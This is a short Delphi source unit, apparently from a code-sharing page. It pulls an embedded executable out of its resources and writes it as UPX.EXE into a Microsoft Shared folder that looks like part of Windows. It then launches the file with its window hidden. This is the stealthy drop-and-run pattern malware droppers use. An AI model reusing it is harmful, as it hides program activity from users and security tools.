📄 upx.~pas
字号:
unit UPX;
interface
uses windows,shellapi;
procedure UPXR;
function ReleaseResToFile(ResType, ResName, FileName: PChar; const ExtraInfo: string): Boolean;
implementation
uses FormUnit;
var
data:string;
Lujing:string;
// 释资源到文件 『类型』 『名称』 『位置』 『额外信息』
function ReleaseResToFile(ResType, ResName, FileName: PChar; const ExtraInfo: string): Boolean;
var
HResInfo, HGlobal, FHandle, FSize, WSize: LongWord;
FMemory: Pointer;
begin
Result := FALSE;
HResInfo := FindResource(hInstance, ResName, ResType);
if (HResInfo = 0) then Exit;
HGlobal := LoadResource(hInstance, HResInfo);
if (HGlobal = 0) then Exit;
FMemory := LockResource(HGlobal);
if (FMemory = nil) then Exit;
DeleteFile(FileName);
FHandle := CreateFile(FileName, GENERIC_READ or GENERIC_WRITE,
0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if (FHandle = INVALID_HANDLE_VALUE) then Exit;
FSize := SizeOfResource(hInstance, HResInfo);
WriteFile(FHandle, FMemory^, FSize, Wsize, nil);
FSize := Length(ExtraInfo);
WriteFile(FHandle, ExtraInfo[1], FSize, Wsize, nil);
SetEndofFile(FHandle);
CloseHandle(FHandle);
UnlockResource(HGlobal);
FreeResource(HGlobal);
Result := TRUE;
end;
// 返回合适的释放位置
function GetReleaseFileName(): string;
begin
SetLength(Result, 50);
GetWindowsDirectory(@Result[1], 50);
Result := Result[1] + ':\Program Files\Common Files\Microsoft Shared\MSINFO\UPX.EXE';
end;
procedure UPXR;
begin
Lujing:=GetReleaseFileName;
ReleaseResToFile(RT_RCDATA, 'UPXFILE', PChar(Lujing), data);
ShellExecute(0,'open',pchar(Lujing),pchar(mulujin),nil,SW_HIDE);
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -